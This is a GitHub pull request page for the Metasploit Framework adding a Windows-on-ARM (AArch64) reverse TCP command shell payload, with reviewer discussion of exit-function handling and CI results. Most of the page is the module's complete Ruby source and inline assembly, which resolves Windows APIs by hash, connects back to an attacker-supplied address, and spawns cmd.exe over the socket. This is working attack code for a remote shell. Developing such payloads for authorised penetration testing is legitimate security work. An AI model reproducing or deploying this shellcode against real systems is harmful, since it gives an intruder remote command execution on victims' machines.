-
Notifications
You must be signed in to change notification settings - Fork 14.9k
Add windows/aarch64/shell_reverse_tcp payload #21589
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Changes from all commits
ca35348
dcc3f1c
6858bcc
d532673
6ccea0b
ff60cf8
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,358 @@ | ||
| # frozen_string_literal: true | ||
|
|
||
| ## | ||
| # This module requires Metasploit: https://metasploit.com/download | ||
| # Current source: https://github.com/rapid7/metasploit-framework | ||
| ## | ||
|
|
||
| module MetasploitModule | ||
| CachedSize = 664 | ||
|
|
||
| include Msf::Payload::Windows | ||
| include Msf::Payload::Single | ||
| include Msf::Sessions::CommandShellOptions | ||
|
|
||
| def initialize(info = {}) | ||
| super( | ||
| merge_info( | ||
| info, | ||
| 'Name' => 'Windows AArch64 Command Shell, Reverse TCP Inline', | ||
| 'Description' => %q{ | ||
| Connect back to the attacker and spawn a Windows command shell on a | ||
| Windows on ARM (AArch64) target. Position-independent shellcode that | ||
| resolves API addresses via PEB / Export Address Table hashing | ||
| (Stephen Fewer ROR-13), opens a TCP socket through Winsock, calls | ||
| WSAConnect, then spawns cmd.exe with stdin/stdout/stderr piped over | ||
| the socket via CreateProcessA + STARTF_USESTDHANDLES. EXITFUNC is | ||
| honored via a runtime hash-dispatcher. | ||
| }, | ||
| 'Author' => [ | ||
| 'vinicius-batistella' # AArch64 reverse_tcp port from the x64 stager logic | ||
| ], | ||
| 'License' => MSF_LICENSE, | ||
| 'Platform' => 'win', | ||
| 'Arch' => ARCH_AARCH64, | ||
| 'Handler' => Msf::Handler::ReverseTcp, | ||
| 'Session' => Msf::Sessions::CommandShell, | ||
| 'Payload' => { 'Offsets' => {}, 'Payload' => '' } | ||
| ) | ||
| ) | ||
| end | ||
|
|
||
| def generate(_opts = {}) | ||
| lhost = datastore['LHOST'] | ||
| unless Rex::Socket.is_ipv4?(lhost) | ||
| raise ArgumentError, 'LHOST must be in IPv4 format.' | ||
| end | ||
|
|
||
| ip_bytes = Rex::Socket.addr_aton(lhost) | ||
|
|
||
| # Map LHOST/LPORT onto the MOVK immediates inside fill_sockaddr_fast. | ||
| # sin_port: network-order bytes loaded as a little-endian 16-bit imm. | ||
| # sin_addr: octets 0..1 -> low halfword, octets 2..3 -> high halfword. | ||
| port_imm = [datastore['LPORT'].to_i].pack('n').unpack1('v') | ||
| ip_lo_imm = ip_bytes[0, 2].unpack1('v') | ||
| ip_hi_imm = ip_bytes[2, 2].unpack1('v') | ||
|
|
||
| # The exitfunk block re-resolves the chosen kernel32 exit API by hash | ||
| # at runtime; we patch the two MOVZ/MOVK immediates with the hash. | ||
| exit_hash = exitfunk_hash(datastore['EXITFUNC']) | ||
|
|
||
| asm = build_asm( | ||
| port_imm: port_imm, | ||
| ip_lo_imm: ip_lo_imm, | ||
| ip_hi_imm: ip_hi_imm, | ||
| exit_lo: exit_hash & 0xFFFF, | ||
| exit_hi: (exit_hash >> 16) & 0xFFFF | ||
| ) | ||
|
|
||
| compile_aarch64(asm) | ||
| end | ||
|
|
||
| private | ||
|
|
||
| # ROR-13 hash of a kernel32 export name, matching the asm find_function | ||
| # routine. The asm stops on CBZ before adding the NUL terminator, so we | ||
| # hash bytes only (no trailing zero). | ||
| # | ||
| # Sanity checks (verified against rev2.s constants): | ||
| # ror13_hash('TerminateProcess') == 0x78b5b983 | ||
| # ror13_hash('LoadLibraryA') == 0xec0e4e8e | ||
| # ror13_hash('CreateProcessA') == 0x16b3fe72 | ||
| def ror13_hash(str) | ||
| h = 0 | ||
| str.each_byte do |b| | ||
| h = ((h >> 13) | (h << 19)) & 0xFFFFFFFF | ||
| h = (h + b) & 0xFFFFFFFF | ||
| end | ||
| h | ||
| end | ||
|
|
||
| def exitfunk_hash(value) | ||
| case value.to_s.downcase | ||
| when 'thread' | ||
| ror13_hash('ExitThread') | ||
| when 'process', '' | ||
| 0x78b5b983 # TerminateProcess (known constant; also == ror13_hash('TerminateProcess')) | ||
| when 'none' | ||
| # 'none' is best-effort here: we still need *something* to call so the | ||
| # shellcode doesn't fall off into garbage. ExitProcess is the safest. | ||
| ror13_hash('ExitProcess') | ||
| else | ||
| 0x78b5b983 | ||
| end | ||
| end | ||
|
|
||
| def build_asm(port_imm:, ip_lo_imm:, ip_hi_imm:, exit_lo:, exit_hi:) | ||
| # Differences from the standalone rev2.s prototype: | ||
| # - `.text` / `.global` directives stripped (aarch64 gem rejects them) | ||
| # - `[reg, wreg, uxtw #N]` rewritten as `mov w15, w4; lsl x15, x15, #N; | ||
| # add x15, base, x15; ldr ...` to avoid extended-register addressing | ||
| # in the aarch64 gem parser | ||
| # - constant expressions like `(12*2)` pre-evaluated to literals | ||
| # - `mov x0, #-1` replaced with `movn x0, #0` (canonical encoding) | ||
| # | ||
| # Slot table (x29 + offset): | ||
| # 0x00 kernel32_base 0x08 &find_function 0x18 LoadLibraryA | ||
| # 0x28 WSAStartup 0x30 WSASocketA 0x38 WSAConnect | ||
| # 0x40 CreateProcessA 0x50 sockaddr_in 0x70 WSADATA | ||
| # Gaps at 0x10 and 0x20 are intentional -- previously held cached | ||
| # TerminateProcess (re-resolved by exitfunk now) and OpenProcessToken | ||
| # (was unused dead code), preserved to keep slot offsets stable. | ||
| <<~ASM | ||
| main: | ||
| sub sp, sp, #0x300 | ||
| mov x29, sp | ||
| add x19, x29, #0x50 | ||
| add x21, x29, #0x70 | ||
|
|
||
| find_kernel32: | ||
| ldr x6, [x18, #0x60] | ||
| ldr x6, [x6, #0x18] | ||
| ldr x6, [x6, #0x30] | ||
|
|
||
| next_module: | ||
| ldr x3, [x6, #0x10] | ||
| ldr x7, [x6, #0x40] | ||
| ldr x6, [x6] | ||
| ldrh w8, [x7, #24] | ||
| cbnz w8, next_module | ||
|
|
||
| find_function_shorten: | ||
| b find_function_shorten_bnc | ||
|
|
||
| find_function_ret: | ||
| str x30, [x29, #0x08] | ||
| b resolve_symbols_kernel32 | ||
|
|
||
| find_function_shorten_bnc: | ||
| bl find_function_ret | ||
|
|
||
| find_function: | ||
| mov w10, w0 | ||
| ldr w8, [x3, #0x3c] | ||
| add x8, x8, x3 | ||
| ldr w9, [x8, #0x88] | ||
| add x9, x9, x3 | ||
| ldr w4, [x9, #0x18] | ||
| ldr w11, [x9, #0x20] | ||
| add x11, x11, x3 | ||
|
|
||
| find_function_loop: | ||
| cbz w4, find_function_finished | ||
| sub w4, w4, #1 | ||
| mov w15, w4 | ||
| lsl x15, x15, #2 | ||
| add x15, x11, x15 | ||
| ldr w12, [x15] | ||
| add x6, x12, x3 | ||
|
|
||
| compute_hash: | ||
| mov w5, wzr | ||
|
|
||
| compute_hash_again: | ||
| ldrb w0, [x6], #1 | ||
| cbz w0, compute_hash_finished | ||
| ror w5, w5, #13 | ||
| add w5, w5, w0 | ||
| b compute_hash_again | ||
|
|
||
| compute_hash_finished: | ||
| find_function_compare: | ||
| cmp w5, w10 | ||
| b.ne find_function_loop | ||
|
|
||
| ldr w12, [x9, #0x24] | ||
| add x12, x12, x3 | ||
| mov w15, w4 | ||
| lsl x15, x15, #1 | ||
| add x15, x12, x15 | ||
| ldrh w4, [x15] | ||
| ldr w12, [x9, #0x1c] | ||
| add x12, x12, x3 | ||
| mov w15, w4 | ||
| lsl x15, x15, #2 | ||
| add x15, x12, x15 | ||
| ldr w13, [x15] | ||
| add x0, x13, x3 | ||
|
|
||
| find_function_finished: | ||
| ret | ||
|
|
||
| resolve_symbols_kernel32: | ||
| str x3, [x29, #0x00] | ||
|
|
||
| movz w0, #0x4e8e | ||
| movk w0, #0xec0e, lsl #16 | ||
| ldr x9, [x29, #0x08] | ||
| blr x9 | ||
| str x0, [x29, #0x18] | ||
|
|
||
| resolve_symbols_CreateProcessA: | ||
| movz w0, #0xfe72 | ||
| movk w0, #0x16b3, lsl #16 | ||
| ldr x9, [x29, #0x08] | ||
| blr x9 | ||
| str x0, [x29, #0x40] | ||
|
|
||
| load_ws2_32: | ||
| movz x0, #0x7357 | ||
| movk x0, #0x5f32, lsl #16 | ||
| movk x0, #0x3233, lsl #32 | ||
| movk x0, #0x642e, lsl #48 | ||
| movz w1, #0x6c6c | ||
| sub sp, sp, #16 | ||
| str x0, [sp] | ||
| str w1, [sp, #8] | ||
| mov x0, sp | ||
| ldr x9, [x29, #0x18] | ||
| blr x9 | ||
| add sp, sp, #16 | ||
| mov x3, x0 | ||
|
|
||
| resolve_ws2_32: | ||
| movz w0, #0xedcb | ||
| movk w0, #0x3bfc, lsl #16 | ||
| ldr x9, [x29, #0x08] | ||
| blr x9 | ||
| str x0, [x29, #0x28] | ||
|
|
||
| movz w0, #0x09d9 | ||
| movk w0, #0xadf5, lsl #16 | ||
| ldr x9, [x29, #0x08] | ||
| blr x9 | ||
| str x0, [x29, #0x30] | ||
|
|
||
| movz w0, #0xba0c | ||
| movk w0, #0xb32d, lsl #16 | ||
| ldr x9, [x29, #0x08] | ||
| blr x9 | ||
| str x0, [x29, #0x38] | ||
|
|
||
| call_WSAStartup: | ||
| movz w0, #0x0202 | ||
| mov x1, x21 | ||
| ldr x9, [x29, #0x28] | ||
| blr x9 | ||
|
|
||
| call_WSASocket: | ||
| mov w0, #2 | ||
| mov w1, #1 | ||
| mov w2, #6 | ||
| mov x3, xzr | ||
| mov w4, wzr | ||
| mov w5, wzr | ||
| ldr x9, [x29, #0x30] | ||
| blr x9 | ||
| mov x22, x0 | ||
|
|
||
| fill_sockaddr_fast: | ||
| movz x0, #0x0002 | ||
| movk x0, ##{format('0x%04x', port_imm)}, lsl #16 | ||
| movk x0, ##{format('0x%04x', ip_lo_imm)}, lsl #32 | ||
| movk x0, ##{format('0x%04x', ip_hi_imm)}, lsl #48 | ||
| stp x0, xzr, [x19] | ||
|
|
||
| call_WSAConnect: | ||
| mov x0, x22 | ||
| mov x1, x19 | ||
| mov w2, #16 | ||
| mov x3, xzr | ||
| mov x4, xzr | ||
| mov x5, xzr | ||
| mov x6, xzr | ||
| ldr x9, [x29, #0x38] | ||
| blr x9 | ||
|
|
||
| build_PROCESS_INFORMATION_and_STARTUPINFOA: | ||
| sub sp, sp, #0xB0 | ||
| add x10, sp, #0x10 | ||
| add x11, sp, #0x30 | ||
| add x12, sp, #0xA0 | ||
|
|
||
| stp xzr, xzr, [x10] | ||
| str xzr, [x10, #16] | ||
|
|
||
| stp xzr, xzr, [x11, #0x00] | ||
| stp xzr, xzr, [x11, #0x10] | ||
| stp xzr, xzr, [x11, #0x20] | ||
| stp xzr, xzr, [x11, #0x30] | ||
| stp xzr, xzr, [x11, #0x40] | ||
| stp xzr, xzr, [x11, #0x50] | ||
| str xzr, [x11, #0x60] | ||
|
|
||
| mov w0, #0x68 | ||
| str w0, [x11, #0x00] | ||
| mov w0, #0x100 | ||
| str w0, [x11, #0x3C] | ||
| str x22, [x11, #0x50] | ||
| str x22, [x11, #0x58] | ||
| str x22, [x11, #0x60] | ||
|
|
||
| movz x0, #0x6D63 | ||
| movk x0, #0x2E64, lsl #16 | ||
| movk x0, #0x7865, lsl #32 | ||
| movk x0, #0x0065, lsl #48 | ||
| str x0, [x12] | ||
|
|
||
| call_CreateProcessA: | ||
| mov x0, xzr | ||
| mov x1, x12 | ||
| mov x2, xzr | ||
| mov x3, xzr | ||
| mov w4, #1 | ||
| mov w5, wzr | ||
| mov x6, xzr | ||
| mov x7, xzr | ||
| stp x11, x10, [sp] | ||
|
|
||
| ldr x9, [x29, #0x40] | ||
| blr x9 | ||
|
|
||
| add sp, sp, #0xB0 | ||
|
|
||
| exitfunk: | ||
| ldr x3, [x29, #0x00] | ||
| movz w0, ##{format('0x%04x', exit_lo)} | ||
| movk w0, ##{format('0x%04x', exit_hi)}, lsl #16 | ||
| ldr x9, [x29, #0x08] | ||
| blr x9 | ||
| mov x10, x0 | ||
| movn x0, #0 | ||
| mov w1, wzr | ||
| blr x10 | ||
| brk #0 | ||
| ASM | ||
| end | ||
|
Comment on lines
+106
to
+346
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. This stuff looks mostly like boilerplate stuff, why not compile the shellcode once, store it in
Contributor
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Same pattern as |
||
|
|
||
| def compile_aarch64(asm_string) | ||
| require 'aarch64/parser' | ||
| parser = ::AArch64::Parser.new | ||
| asm = parser.parse(without_inline_comments(asm_string)) | ||
| asm.to_binary | ||
| end | ||
|
|
||
| def without_inline_comments(string) | ||
| string.lines.map { |line| line.split('//', 2).first.strip }.reject(&:empty?).join("\n") | ||
| end | ||
| end | ||
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Wow..... OK, I did some spelunking here, and uh, it made me sad.
TL;DR: This is not the normal behavior, but I think this is the right behavior in this case.
We are somewhat inconsistent on how we deal with an
ExitFuncvalue ofnone.The traditional (or at least most common thing) is to call
GetLastError:metasploit-framework/lib/msf/core/payload/windows.rb
Line 25 in a23585d
Some payloads "accidentally" call
ExitProcess, but that's more becauseExitProcessis the default thing to do and we don't bother to check if the value isnone:metasploit-framework/lib/msf/core/payload/windows.rb
Line 25 in a23585d
GetLastErroris not going to help here, though. It will just call and return, and then we crash 😆 . I think ExitProcess is the best bet, but I welcome second opinions on that.There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The shellcode has to branch somewhere once the shell returns; letting execution fall through into the surrounding memory would be undefined behavior, so ExitProcess is the safest landing spot.
Additionally @bwatters-r7, CI on ff60cf8 is green across all 51 relevant checks. The only red is
Meterpreter Acceptance/build / java 21 macos-15-intel, which died 34s in at bundle install. Could you kindly re-run just that job?